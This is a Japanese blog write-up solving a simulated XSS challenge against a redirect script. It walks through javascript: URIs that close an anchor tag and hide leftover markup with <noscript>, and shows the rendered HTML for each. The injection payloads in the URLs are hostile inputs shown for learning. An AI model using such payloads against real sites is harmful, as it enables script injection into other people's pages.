XSS模擬アタック出題編


「背景は黒で字は白く」という条件以外はいちおう満たしてるつもり。以下、部分的にネタばれの可能性ありなので注意。
302 の Location によるリダイレクタでの XSS ということで、一瞬 Responce Splitting かと思ったのですが、hoshikuzu さんらしくない。ということで、302 応答のボディ部分に何かメッセージが入ったものが返ってくるのだろうと予想しました。
えぇっと、Firefoxでは、302応答を受け取ったときに、リダイレクト先が http: などでない場合には、応答のボディ部分をそのまま表示します。IEでは単に「表示不可」のエラーページが表示されるだけなのですけど。で、きっとこれを利用して XSS を発生させるのだろうなと。
ので、リダイレクト先は http: ではなく javascript: 等の擬似スキームを指定。こんな感じですね。

http://stardust.s2.xrea.com/hatena/200607/redir.cgi?uri=javascript:...

試しに javascript:a というのをリダイレクト先に指定してやると、以下のようなボディを持つ 302 応答が返ってきます。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="ja">
<!--nobanner-->
<head>
<title>別の場所にあるリソース</title>
</head>
<body>
<p><a href="javascript:a">javascript:a</a>を参照してください。</p>
</body>
</html>

リダイレクト先に指定した URI 文字列がそのまま出力されています。いろいろ与えてやると「;」や「&」「=」などが利用できないことに気づきます。また、スペースも利用できないようです。
まぁ、それはそうと、とにかく <a> を閉じてやりましょう。
http://stardust.s2.xrea.com/hatena/200607/redir.cgi?uri=javascript:%22%3E%3C/a%3Ea にアクセスした場合の表示結果はこんな感じ。

a">javascript:a">を参照してください。

a の後ろに表示されるゴミが邪魔なので消しましょう…どうやって!? とりあえず思いついたのは <noscript>。
http://stardust.s2.xrea.com/hatena/200607/redir.cgi?uri=javascript:%22%3E%3C/a%3Ea%3Cnoscript%3E という感じ。
表示結果は

a

よい感じです。HTMLソース(の肝の部分)は

<p><a href="javascript:"></a>a<noscript>">javascript:"></a>a<noscript></a>を参照してください。</p>

うひゃー。汚いけどまぁいいや(笑)
あとは、メッセージを適当にいじればいいですね。ただし、スペースが直接与えられないので小細工。
というわけで、はせがわの出した答えはこんな不細工なのでした。はぁ…。もっと綺麗な正解があるんでしょうね。